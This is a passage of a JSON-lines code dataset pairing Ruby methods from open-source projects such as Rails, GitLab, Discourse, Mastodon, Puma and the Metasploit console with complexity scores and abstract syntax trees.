end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_instance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"persistent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"persistent_always?\"]}]},{\"type\":\"lvar\",\"children\":[\"storage\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"persistent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersistentWrapper\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"synchronized?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SynchronizeWrapper\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]}]}]}]}","id":"58195691-a339-48c0-8823-a0e7b68c380e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb","start_line":162,"raw_source":"def cmd_info(*args)\n            dump_json = false\n            show_doc = false\n\n            if args.include?('-j')\n              args.delete('-j')\n              dump_json = true\n            end\n\n            if args.include?('-d')\n              args.delete('-d')\n              show_doc = true\n            end\n\n            if (args.length == 0)\n              if active_module\n                print_module_info(active_module, dump_json: dump_json, show_doc: show_doc)\n                return true\n              else\n                cmd_info_help\n                return false\n              end\n            elsif args.include? '-h'\n              cmd_info_help\n              return false\n            end\n\n            args.each do |arg|\n              mod_name = arg\n\n              additional_datastore_values = nil\n\n              # Use a module by search index\n              index_from_list(@module_search_results_with_usage_metadata, mod_name) do |result|\n                mod = result&.[](:mod)\n                next unless mod && mod.respond_to?(:fullname)\n\n                # Module cache object\n                mod_name = mod.fullname\n                additional_datastore_values = result[:datastore]\n              end\n\n              # Ensure we have a reference name and not a path\n              name = trim_path(mod_name, 'modules')\n\n              # Creates an instance of the module\n              mod = framework.modules.create(name)\n\n              # If any additional datastore values were provided, set these values\n              mod.datastore.update(additional_datastore_values) unless additional_datastore_values.nil?\n\n              if mod.nil?\n                print_error(\"Invalid module: #{name}\")\n              else\n                print_module_info(mod, dump_json: dump_json, show_doc: show_doc)\n              end\n            end\n          end","complexity_score":61.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_info\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dump_json\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"show_doc\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-j\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"str\",\"children\":[\"-j\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dump_json\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-d\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"str\",\"children\":[\"-d\"]}]},{\"type\":\"lvasgn\",\"children\":[\"show_doc\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_module\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_module_info\",{\"type\":\"send\",\"children\":[null,\"active_module\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dump_json\"]},{\"type\":\"lvar\",\"children\":[\"dump_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_doc\"]},{\"type\":\"lvar\",\"children\":[\"show_doc\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_info_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_info_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod_name\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"additional_datastore_values\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_from_list\",{\"type\":\"ivar\",\"children\":[\"@module_search_results_with_usage_metadata\"]},{\"type\":\"lvar\",\"children\":[\"mod_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mod\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"fullname\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"mod_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fullname\"]}]},{\"type\":\"lvasgn\",\"children\":[\"additional_datastore_values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"datastore\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"trim_path\",{\"type\":\"lvar\",\"children\":[\"mod_name\"]},{\"type\":\"str\",\"children\":[\"modules\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"modules\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_datastore_values\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"additional_datastore_values\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid module: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_module_info\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dump_json\"]},{\"type\":\"lvar\",\"children\":[\"dump_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_doc\"]},{\"type\":\"lvar\",\"children\":[\"show_doc\"]}]}]}]}]}]}]}]}]}","id":"aeb2f2ec-8089-4517-9bd1-049990f3f0e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/auth_finders.rb","start_line":541,"raw_source":"def find_user_for_git_or_lfs_request\n        return unless git_or_lfs_request?\n\n        find_user_from_lfs_token || find_user_from_basic_auth_password\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_user_for_git_or_lfs_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git_or_lfs_request?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_user_from_lfs_token\"]},{\"type\":\"send\",\"children\":[null,\"find_user_from_basic_auth_password\"]}]}]}]}","id":"e7176554-0d3b-4cd4-844f-18273de53454"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/helpers/stats_helper.rb","start_line":115,"raw_source":"def peak_day(stat)\n    peak = stat.daily_distance.max_by { _1[1] }\n    return 'N/A' unless peak && peak[1].positive?\n\n    date = Date.new(stat.year, stat.month, peak[0])\n    distance_unit = stat.user.safe_settings.distance_unit\n\n    distance_value = Stat.convert_distance(peak[1], distance_unit).round\n    text = \"#{date.strftime('%B %d')} (#{distance_value} #{distance_unit})\"\n\n    link_to text, map_url(start_at: date.beginning_of_day, end_at: date.end_of_day), class: 'underline'\n  end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"peak_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"peak\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"daily_distance\"]},\"max_by\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peak\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peak\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"positive?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"N/A\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"year\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"month\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peak\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"distance_unit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"user\"]},\"safe_settings\"]},\"distance_unit\"]}]},{\"type\":\"lvasgn\",\"children\":[\"distance_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stat\"]},\"convert_distance\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peak\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"distance_unit\"]}]},\"round\"]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%B %d\"]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distance_value\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distance_unit\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"map_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"beginning_of_day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"end_of_day\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"underline\"]}]}]}]}]}]}","id":"6430745a-6b01-41b1-98a6-3efd090bd977"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/inheritance.rb","start_line":82,"raw_source":"def descends_from_active_record?\n        if self == Base\n          false\n        elsif superclass.abstract_class?\n          superclass.descends_from_active_record?\n        else\n          superclass == Base || !columns_hash.include?(inheritance_column)\n        end\n      end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"descends_from_active_record?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"==\",{\"type\":\"const\",\"children\":[null,\"Base\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"abstract_class?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"descends_from_active_record?\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns_hash\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"inheritance_column\"]}]},\"!\"]}]}]}]}]}","id":"27d06e8f-577d-42a1-8b3e-e62112ba397c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/trends/statuses_controller.rb","start_line":11,"raw_source":"def index\n    if current_user&.can?(:manage_taxonomies)\n      render json: @statuses, each_serializer: REST::Admin::Trends::StatusSerializer\n    else\n      super\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_taxonomies\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@statuses\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"each_serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"Admin\"]},\"Trends\"]},\"StatusSerializer\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1f11c879-5758-4b02-8fc2-0c6381a0b79f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/notification.rb","start_line":257,"raw_source":"def url\n    topic.relative_url(post_number) if topic.present?\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"relative_url\",{\"type\":\"send\",\"children\":[null,\"post_number\"]}]},null]}]}","id":"aab3c49a-7ece-4bab-aeaa-4988ade58afa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/chaos_controller.rb","start_line":30,"raw_source":"def gc\n    gc_stat = Gitlab::Chaos.run_gc\n\n    render json: {\n      worker_id: ::Prometheus::PidProvider.worker_id,\n      gc_stat: gc_stat\n    }\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gc_stat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Chaos\"]},\"run_gc\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Prometheus\"]},\"PidProvider\"]},\"worker_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gc_stat\"]},{\"type\":\"lvar\",\"children\":[\"gc_stat\"]}]}]}]}]}]}]}]}","id":"aeb41314-12d7-440a-8b50-5d050daf1b87"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":752,"raw_source":"def test_has_many_with_pluralize_table_names_false\n    aircraft = Aircraft.create!(name: \"Airbus 380\")\n    engine = Engine.create!(car_id: aircraft.id)\n    assert_equal aircraft.engines, [engine]\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_with_pluralize_table_names_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aircraft\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aircraft\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Airbus 380\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"engine\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Engine\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"car_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aircraft\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aircraft\"]},\"engines\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]}]}]}]}]}","id":"76c58b6e-d660-478f-b14c-bfca476a57c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/protected_branches/legacy_api_update_service.rb","start_line":40,"raw_source":"def delete_redundant_access_levels\n      unless developers_can_merge.nil?\n        protected_branch.merge_access_levels.destroy_all # rubocop: disable Cop/DestroyAll\n      end\n\n      unless developers_can_push.nil?\n        protected_branch.push_access_levels.destroy_all # rubocop: disable Cop/DestroyAll\n      end\n    end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_redundant_access_levels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"developers_can_merge\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_branch\"]},\"merge_access_levels\"]},\"destroy_all\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"developers_can_push\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_branch\"]},\"push_access_levels\"]},\"destroy_all\"]}]}]}]}","id":"f6d3b594-9445-433f-9a7d-a0491c614fdf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/project_snippets.rb","start_line":25,"raw_source":"def handle_project_member_errors(errors)\n          if errors[:project_access].any?\n            error!(errors[:project_access], 422)\n          end\n\n          not_found!\n        end","complexity_score":6.93,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_project_member_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_access\"]}]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"error!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_access\"]}]},{\"type\":\"int\",\"children\":[422]}]},null]},{\"type\":\"send\",\"children\":[null,\"not_found!\"]}]}]}","id":"a75a8bc6-ab39-4545-b427-bb6a79e95f69"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/extensions/topic_extension.rb","start_line":86,"raw_source":"def ensure_no_post_voting_subtype\n      if will_save_change_to_subtype? && self.subtype == Topic::POST_VOTING_SUBTYPE\n        self.errors.add(\n          :base,\n          I18n.t(\"topic.post_voting.errors.cannot_change_to_post_voting_subtype\"),\n        )\n      end\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_no_post_voting_subtype\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"will_save_change_to_subtype?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"subtype\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"POST_VOTING_SUBTYPE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"topic.post_voting.errors.cannot_change_to_post_voting_subtype\"]}]}]},null]}]}","id":"ef7b7c22-9369-444c-b291-a02a5db611a3"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/uploader/tasks/base.rb","start_line":97,"raw_source":"def add_multisite_prefix(path)\n        return path if !Rails.configuration.multisite\n\n        File.join(\"uploads\", RailsMultisite::ConnectionManagement.current_db, path)\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_multisite_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"multisite\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"uploads\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"d5eebc20-77fe-40e0-bab6-2bd1adb471d6"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_ssl.rb","start_line":209,"raw_source":"def test_ssl_run_with_localhost_authority\n    skip_if :jruby\n\n    config = <<~CONFIG\n      require 'localhost'\n      ssl_bind '#{HOST}', '#{bind_port}'\n\n      activate_control_app 'tcp://#{HOST}:#{control_tcp_port}', { auth_token: '#{TOKEN}' }\n\n      app do |env|\n        [200, {}, [env['rack.url_scheme']]]\n      end\n    CONFIG\n\n    with_server(config) do |http|\n      body = nil\n      http.start do\n        req = Net::HTTP::Get.new '/', {}\n        http.request(req) { |resp| body = resp.body }\n      end\n      assert_equal 'https', body\n    end\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ssl_run_with_localhost_authority\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_if\",{\"type\":\"sym\",\"children\":[\"jruby\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"require 'localhost'\\n\"]},{\"type\":\"str\",\"children\":[\"ssl_bind '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HOST\"]}]},{\"type\":\"str\",\"children\":[\"', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bind_port\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"activate_control_app 'tcp://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HOST\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"control_tcp_port\"]}]},{\"type\":\"str\",\"children\":[\"', { auth_token: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOKEN\"]}]},{\"type\":\"str\",\"children\":[\"' }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"app do |env|\\n\"]},{\"type\":\"str\",\"children\":[\"  [200, {}, [env['rack.url_scheme']]]\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_server\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"start\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Get\"]},\"new\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}]}]}","id":"0dcd76ae-a626-4b78-ba58-56646bbf001e"}
